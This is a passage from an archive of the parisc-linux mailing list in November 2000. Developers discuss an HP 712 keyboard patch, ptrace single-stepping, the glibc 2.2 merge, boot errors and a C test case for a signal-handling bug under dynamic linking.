Prentice Hall to reprint a few just for us. 

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The config for 712 hp boxes
Date: Thu, 16 Nov 2000 10:10:23 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <200011161810.KAA14979@milano.cup.hp.com>
References: <00a801c04ff1$4e9b7f20$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619302 6383 80.91.229.3 (22 Nov 2014 01:21:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:42 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: grundler@cup.hp.com  Thu Nov 16 11:09:41 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA28237
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 11:09:40 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel1.hp.com (Postfix) with ESMTP id 16285484
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 11:12:03 -0700 (MST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA14979;
	Thu, 16 Nov 2000 10:10:29 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 16 Nov 2000 18:18:58 PST."
             <00a801c04ff1$4e9b7f20$a832d793@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:8486

"Thomas Marteau" wrote:
> Hi all,
> 
>     Here is the config file we use to compile a new kernel from the test10
> sources. We have the console with the STI and an extra term on the serial
> port.

Thomas - excellent - thanks!

> Also, in this mail, you have the diff between our hp_keyb.c and the official
> one but it gives you the ~ and the ' and others scancodes.

I noticed this mail was directed to me - but I can't take ownership
of this code. I have too many other things going on.

Helge - can you commit this fix too?

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The config for 712 hp boxes
Date: Thu, 16 Nov 2000 19:25:49 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <00111619254900.00336@P100>
References: <200011161810.KAA14979@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619302 6393 80.91.229.3 (22 Nov 2014 01:21:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:42 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Grant Grundler <grundler@cup.hp.com>, "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: deller@gmx.de  Thu Nov 16 11:23:57 2000
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA28688
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 11:23:55 -0700
Original-Received: (qmail 19079 invoked by uid 0); 16 Nov 2000 18:25:39 -0000
Original-Received: from pd904035a.dip.t-dialin.net (HELO P100) (217.4.3.90)
  by mail.gmx.net (mail07) with SMTP; 16 Nov 2000 18:25:39 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <200011161810.KAA14979@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8487

On Thursday 16 November 2000 19:10, Grant Grundler wrote:
> "Thomas Marteau" wrote:
> > Hi all,
> > 
> >     Here is the config file we use to compile a new kernel from the test10
> > sources. We have the console with the STI and an extra term on the serial
> > port.
> 
> Thomas - excellent - thanks!
> 
> > Also, in this mail, you have the diff between our hp_keyb.c and the 
official
> > one but it gives you the ~ and the ' and others scancodes.
> 
> I noticed this mail was directed to me - but I can't take ownership
> of this code. I have too many other things going on.
> 
> Helge - can you commit this fix too?

Ok. I will test & evtl. commit it today.

> 
> thanks,
> grant
> 
> Grant Grundler
> Unix Systems Enablement Lab
> +1.408.447.7253
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@mvista.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Single-stepping
Date: Thu, 16 Nov 2000 11:00:48 -0800
Organization: Montavista Software, Inc
Lines: 52
Approved: news@gmane.org
Message-ID: <3A142EE0.5A7E5039@mvista.com>
References: <200011161244.FAA03502@udlkern.fc.hp.com>
Reply-To: frowand@mvista.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619303 6395 80.91.229.3 (22 Nov 2014 01:21:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:43 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: frank_rowand@mvista.com  Thu Nov 16 12:00:05 2000
Original-Received: from hermes.mvista.com (gateway-490.mvista.com [63.192.220.206])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA29246
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 12:00:04 -0700
Original-Received: from mvista.com (IDENT:frowand@mossi.mvista.com [10.0.0.71])
	by hermes.mvista.com (8.11.0/8.11.0) with ESMTP id eAGIwT325063;
	Thu, 16 Nov 2000 10:58:29 -0800
Original-Sender: frowand@hermes.mvista.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20b i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8488

John Marvin wrote:
> 
> Richard,
> 
> >
> > Sorry, I worded that very badly.  The code that moves the childs
> > IAOQ on is in the kernel, invoked as a result of the controlling
> > process calling ptrace(PTRACE_SINGLESTEP...) when the childs N
> > bit is set.
> >
> 
> Great.
> 
> > > Does this code properly handle branches in the delay slot of another
> > > branch? (you need to make sure you are not advancing the queues by just
> > > adding 4 to each element).  One concern I have about this method is that
> >
> > Current code does
> >
> >     /* Nullified, just crank over the queue. */
> >     task_regs(child)->iaoq[0] = task_regs(child)->iaoq[1];
> >     task_regs(child)->iasq[0] = task_regs(child)->iasq[1];
> >     task_regs(child)->iaoq[1] = task_regs(child)->iaoq[0] + 4;
> >
> > Does that look right to you?
> >
> 
> Yes, that is the correct way to do it (I'll assume the duplicated line
> is just a cut/paste error).

If iaoq[0] contains a branch, iaoq[1] is in the delay slot.  The instruction
executed after iaoq[1] would then typically _not_ be iaoq[0] + 4 (the next
instruction would be the target of the branch at iaoq[0]).


> Sounds ok with me. And as long as there are no corner cases, it probably
> is the best solution, assuming we don't find another application for
> the recovery counter.

The recovery counter is very useful for performance measurement tools to
understand the cycles per instruction of a code path.  (Using the recovery
counter for the debugger doesn't preclude using it for performance tools -
you just can't easily use it for both purposes at the same instant in time.)


> John

-Frank
-- 
Frank Rowand <frank_rowand@mvista.com>
MontaVista Software, Inc


From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Single-stepping
Date: Thu, 16 Nov 2000 20:28:42 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20001116202842.Y32715@linuxcare.com>
References: <200011161244.FAA03502@udlkern.fc.hp.com> <3A142EE0.5A7E5039@mvista.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619303 6396 80.91.229.3 (22 Nov 2014 01:21:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:43 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@puffin.external.hp.com
To: frowand@mvista.com
Original-X-From: rhirst@linuxcare.com  Thu Nov 16 13:29:21 2000
Original-Received: from rhirst.linuxcare.com (user-143-103.jakinternet.co.uk [212.187.143.103] (may be forged))
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA30374
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 13:29:19 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id BE3C1B007; Thu, 16 Nov 2000 20:28:42 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3A142EE0.5A7E5039@mvista.com>; from frank_rowand@mvista.com on Thu, Nov 16, 2000 at 11:00:48AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8489

On Thu, Nov 16, 2000 at 11:00:48AM -0800, Frank Rowand wrote:
> John Marvin wrote:
> > > > Does this code properly handle branches in the delay slot of another
> > > > branch? (you need to make sure you are not advancing the queues by just
> > > > adding 4 to each element).  One concern I have about this method is that
> > >
> > > Current code does
> > >
> > >     /* Nullified, just crank over the queue. */
> > >     task_regs(child)->iaoq[0] = task_regs(child)->iaoq[1];
> > >     task_regs(child)->iasq[0] = task_regs(child)->iasq[1];
> > >     task_regs(child)->iaoq[1] = task_regs(child)->iaoq[0] + 4;
> > >
> > > Does that look right to you?
> > >
> > 
> > Yes, that is the correct way to do it (I'll assume the duplicated line
> > is just a cut/paste error).
> 
> If iaoq[0] contains a branch, iaoq[1] is in the delay slot.  The instruction
> executed after iaoq[1] would then typically _not_ be iaoq[0] + 4 (the next
> instruction would be the target of the branch at iaoq[0]).

But the above code is only executed if the current instruction is
nullified.  In your example, the branch in iaoq[0] would be
nullified and therefore never taken.

Richard


From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The config for 712 hp boxes
Date: Thu, 16 Nov 2000 22:28:50 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <00111622285001.00336@P100>
References: <00a801c04ff1$4e9b7f20$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619303 6397 80.91.229.3 (22 Nov 2014 01:21:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:43 +0000 (UTC)
Cc: <parisc-linux@puffin.external.hp.com>
To: "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: deller@gmx.de  Thu Nov 16 14:26:39 2000
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA00629
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 14:26:38 -0700
Original-Received: (qmail 13563 invoked by uid 0); 16 Nov 2000 21:28:43 -0000
Original-Received: from pd9040230.dip.t-dialin.net (HELO P100) (217.4.2.48)
  by mail.gmx.net (mail05) with SMTP; 16 Nov 2000 21:28:43 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <00a801c04ff1$4e9b7f20$a832d793@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:8490

On Thursday 16 November 2000 18:18, Thomas Marteau wrote:
> Hi all,
> 
> [....]
> Also, in this mail, you have the diff between our hp_keyb.c and the official
> one but it gives you the ~ and the ' and others scancodes.
> [....]

Hi ESIEE-Team !

Thanks for your patch !

I committed your patch into CVS and just tweaked it a little for  
CONFIG_MAGIC_SYSRQ. I hope this is ok for you ?
If your time permits, I would like to ask, if you maybe also want to look at 
getting the CAPS-Lock-, Scroll-Lock- & Num-Lock-LED's working ? 

Furthermore you mention in your project-history on your homepage something 
about "keyboard and soundchip problems" (Oct. 24). I'm asking just out of 
curiousity: Did you thought about programming the on-board sound-chips (which 
I believe would be a hard job.)  ?
 
> Bye,
> ESIEE Team

Best regards,

	Helge Deller.


From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc merged to 2.2
Date: Thu, 16 Nov 2000 19:25:26 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20001117022526.4B38637CA7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619303 6398 80.91.229.3 (22 Nov 2014 01:21:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:43 +0000 (UTC)
Cc: drepper@cygnus.com, alan_c_meyer@am.exch.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Thu Nov 16 19:21:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA03507
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 19:21:28 -0700
Original-Received: (qmail 8030 invoked by uid 15267); 17 Nov 2000 02:23:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8020 invoked from network); 17 Nov 2000 02:23:34 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 17 Nov 2000 02:23:34 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 3512542A; Thu, 16 Nov 2000 21:23:34 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 4B38637CA7; Thu, 16 Nov 2000 19:25:26 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:8491

Today Paul Bame and I merged/updated the puffin.external.hp.com glibc cvs to 
glibc 2.2. After the merge I cleaned up the differences between our cvs and 
2.2, mostly comment differences and formatting changes. With the exception of 
the setjmp problem mentioned in,

http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/11-Nov/0091.html

and the fact that we have/need newer "scripts/config.guess" and 
"scripts/config.sub", we are completely sync'ed up with glibc 2.2.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The config for 712 hp boxes
Date: Fri, 17 Nov 2000 15:34:09 +0100
Lines: 102
Approved: news@gmane.org
Message-ID: <00111715340901.11253@P100>
References: <00a801c04ff1$4e9b7f20$a832d793@esiee.fr> <00111622285001.00336@P100> <000f01c05083$89805240$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619304 6400 80.91.229.3 (22 Nov 2014 01:21:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:44 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: deller@gmx.de  Fri Nov 17 07:32:10 2000
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA19493
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 07:32:09 -0700
Original-Received: (qmail 27056 invoked by uid 0); 17 Nov 2000 14:33:46 -0000
Original-Received: from pd9040273.dip.t-dialin.net (HELO P100) (217.4.2.115)
  by mail.gmx.net (mail01) with SMTP; 17 Nov 2000 14:33:46 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <000f01c05083$89805240$a832d793@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:8492

[CC'ed the list, so maybe someone else can comment too....]

On Friday 17 November 2000 11:45, Thomas Marteau wrote:
> Hi Helge,

Hi,

> 
> 
> ----- Original Message -----
> From: Helge Deller <deller@gmx.de>
> To: Thomas Marteau <marteaut@esiee.fr>
> Cc: <parisc-linux@puffin.external.hp.com>
> Sent: Thursday, November 16, 2000 10:28 PM
> Subject: Re: [parisc-linux] The config for 712 hp boxes
> 
> 
> > On Thursday 16 November 2000 18:18, Thomas Marteau wrote:
> > > Hi all,
> > >
> > > [....]
> > > Also, in this mail, you have the diff between our hp_keyb.c and the
> official
> > > one but it gives you the ~ and the ' and others scancodes.
> > > [....]
> >
> > Hi ESIEE-Team !
> >
> > Thanks for your patch !
> >
> > I committed your patch into CVS and just tweaked it a little for
> > CONFIG_MAGIC_SYSRQ. I hope this is ok for you ?
> We didn't really understand why pckbd_sysrq_xlate was here for.
> If you can explain to us, it will be fine.

The best documentation you can find is in linux/Documentation/sysrq.txt.
The copy of pckbd_sysrq_xlate[] is a simple implementation of 
keyboard-scancodes to chars, which is used by drivers/char/keyboard.c to call 
handle_sysrq() from /drivers/char/sysrq.c.
This means, that you can press Alt-PrintScr (=> SysRQ) and a char at the 
keyboard simultaniously and your machine for example syncs the disks, mounts 
all discs read-only or reboots your machine immediately.
 

> > If your time permits, I would like to ask, if you maybe also want to look
> at
> > getting the CAPS-Lock-, Scroll-Lock- & Num-Lock-LED's working ?

> Normally, you can see yours leds switching on/off but we did not init them.
> So they are like boot admin switch them...
                               ^^^^^^^ ^^^^^ ^^^
Sorry ?

> But we would like to know how and where we have to init them
> because we know how to. We have made test and it was working...

I'm not sure, but I think you should check the code in lasikbd_leds() in 
hp_psaux.c.
The initialization should maybe be done in the same file in the function 
lasi_ps2_register() before calling register_kbd_ops().

> 
> > Furthermore you mention in your project-history on your homepage something
> > about "keyboard and soundchip problems" (Oct. 24). I'm asking just out of
> > curiousity: Did you thought about programming the on-board sound-chips
> (which
> > I believe would be a hard job.)  ?
> Yes, it is in our internal todo list, if we have time to. Because we look at
> it with Thierry, we saw that, for LASI,
> you have an interface and then the chip to configure. But it is very
> interesting...

Yes it is, and it would be great if you worked on that too ! 

> 
> Also, we want to rule the power leds but they are different if  the box is
> 712 or B132 or ... So our question is how to implement
> this kind of initialsation and deinitialisation in a linux kernel and in a
> second time, how to do for differents kind of boxes.

As far as I know / have heard, there are only two types of LED's (but I may 
be wrong here !). One is where the LED's are organized in a row on the front 
panel (as my local machines here), and the other one, where you have 
(LED/)LCD-Numbers on your front panel ?

They differ how to be accessed and where the controlling registers are 
located. One method to distiguish them is maybe to place the special 
initialisation code into drivers/gsc/lasi.c and asp.c, depending on the 
machine and which method needs to be used.
Since I don't have any real documentation or knowledge of the programming of 
the LEDs (beside of the PDC-calls I placed into setup.c), maybe someone else 
can better comment on that or give some documentation ?

> 
> Thanks for your answers, Helge
> Bye,
> ESIEE Team

Best regards,

	Helge Deller.


From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaud.ATOCH@oecd.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting 712 with CD 0.5
Date: Fri, 17 Nov 2000 16:30:42 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <C12531D038D1D011B1DB0000F8036C28071AB722@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619304 6402 80.91.229.3 (22 Nov 2014 01:21:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:44 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: Arnaud.ATOCH@oecd.org  Fri Nov 17 08:28:39 2000
Original-Received: from cs1-hq.oecd.org (cs1-hq.oecd.org [193.51.65.66])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id IAA20175
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 08:28:37 -0700
Original-Received: from netsweep1.oecd.org (netsweep1.oecd.org [10.102.5.110])
	by cs1-hq.oecd.org (8.9.3/8.9.3/oecd-1.6) with ESMTP id QAA03410
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 16:28:21 +0100
Original-Received: from eosgty.oecd.org (unverified) by netsweep1.oecd.org
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T0a66056e4fefdb1bc4@netsweep1.oecd.org> for <parisc-linux@puffin.external.hp.com>;
 Fri, 17 Nov 2000 16:28:50 +0100
Original-Received: by eosgty.oecd.org with Internet Mail Service (5.5.2448.0)
	id <V8RXHL14>; Fri, 17 Nov 2000 16:30:40 +0100
X-Mailer: Internet Mail Service (5.5.2448.0)
Xref: news.gmane.org gmane.linux.ports.parisc:8493

Is the following output the normal behavior of Linux-PARisc on a 712/100 ?

kmem_create: Forcing size word alignment - nfs_fh
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
VFS: Disk change detected on device sr(11,0)
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
ISO 9660 Extensions: RRIP_1991A
VFS: Mounted root (iso9660 filesystem) readonly.
INIT: version 2.78 booting
INIT: Entering runlevel: 2
Setting up /tmp ramdisk4096+0 records in
4096+0 records out
mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
1024 inodes, 4096 blocks
0 blocks (0.00%) reserved for the super user
First data block=1
1 block group
8192 blocks per group, 8192 fragments per group
1024 inodes per group

Writing inode tables: done
Writing superblocks and filesystem accounting information: done

INIT: Id "T0" respawni
INIT: no more processe


From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SEGV signal handling bug (dynamic linking)
Date: Fri, 17 Nov 2000 15:39:55 +0000
Lines: 127
Approved: news@gmane.org
Message-ID: <20001117153954.H32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619304 6404 80.91.229.3 (22 Nov 2014 01:21:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Fri Nov 17 08:40:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA20605
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 08:40:23 -0700
Original-Received: (qmail 13374 invoked by uid 15267); 17 Nov 2000 15:42:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13357 invoked from network); 17 Nov 2000 15:42:29 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 17 Nov 2000 15:42:29 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 0BD92B007; Fri, 17 Nov 2000 15:39:55 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8494

Hi,
  Don't know if anyone expects this to work yet or not, but:

------------------------- cut -----------------------------
#include <sys/ptrace.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>
#include <sys/mman.h>

char *mem;

void sig_handler(int sig)
{
        int res;

        printf("Trapped!!!\n");
        res = mprotect(mem, 4096, PROT_READ|PROT_WRITE);
        if (res < 0) {
                perror("mprotect");
                exit(1);
        }
}


void install_handlers(void)
{
        struct sigaction act;

        memset(&act, 0, sizeof(act));
        act.sa_handler = sig_handler;
        sigaction(SIGSEGV, &act, NULL);
}

int main(int argc, char **argv)
{
        int res;

        mem = malloc(8192);
        if (mem == NULL) {
                perror("malloc");
                exit(1);
        }
        mem = (char *)(((int)mem + 4095) & ~0x0fff);
        res = mprotect(mem, 4096, PROT_READ);
        if (res < 0) {
                perror("mprotect");
                exit(1);
        }
        install_handlers();
        write(1, "Going\n", 6);
        mem[24] = 17;
        write(1, "Gone\n", 5);
        return 0;
}
------------------------- cut -----------------------------

generates:

Going
Bus error

plus the following on the console:

do_page_fault() pid=167 command='ch'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3     00000000 fffff000 0000166f 00002944
r4-7     40138c38 2001fd8c 00002852 00000001
r8-11    00002862 0008b010 0009c290 0009cbf0
r12-15   00000000 00000000 0009cb50 00000000
r16-19   00000000 00000001 0000b71b 00000011
r20-23   00004000 40041fcc 40041fcc 00000008
r24-27   00000006 00001000 00000001 0000280c
r28-31   00000006 00000020 20020140 40041fd7
sr0-4    00000000 00000003 00000000 0000000a
sr4-8    0000000a 0000000a 0000000a 0000000a

IASQ: 0000000a 0000000a IAOQ: 0000167b 0000167f
 IIR: 6293002e    ISR: 0000000a  IOR: 00004017
ORIG_R28: 00002880
!!die_if_kernel: ch(167): Unaligned data reference 28

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011001111111100001011
r0-3     00000000 fffff000 20020140 00002944
r4-7     40138c38 2001fd8c 00002852 00000001
r8-11    00002862 0008b010 0009c290 0009cbf0
r12-15   00000000 00000000 0009cb50 00000000
r16-19   00000000 00000001 0000b71b 00000000
r20-23   0000289f 40041fcc 40041fcc 00000008
r24-27   200201d0 20020150 0000000b 0000280c
r28-31   00000006 00000020 200203c0 40041fd7
sr0-4    00000000 00000003 00000000 0000000a
sr4-8    0000000a 0000000a 0000000a 0000000a

IASQ: 0000000a 0000000a IAOQ: 0000289b 0000289b
 IIR: 0e801096    ISR: 0000000a  IOR: 0000289f
ORIG_R28: 00002880


The first do_page_fault() is fine, it is the 'mem[24] = 17' line,
but the second isn't.  The corresponding code is at the end of
.plt:

    2898:       0e 80 10 96     ldw  0(sr0,r20),r22
    289c:       ea c0 c0 00     bv r0(r22)
    28a0:       0e 88 10 95     ldw  4(sr0,r20),r21
    28a4:       ea 9f 1f dd     b,l 2898 <__DTOR_END__+0x74>,r20
    28a8:       d6 80 1c 1e     depwi 0,31,2,r20
    28ac:       00 c0 ff ee     #  c0ffee
    28b0:       de ad be ef     #deadbeef


However, if I make it statically linked, it works fine, giving:

Going
Trapped!!!
Gone

Richard


From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] debian archive beware libpam
Date: Fri, 17 Nov 2000 10:49:22 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0011171043510.19467-100000@mojo.calyx.net>
References: <20001117022526.4B38637CA7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619305 6407 80.91.229.3 (22 Nov 2014 01:21:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:45 +0000 (UTC)
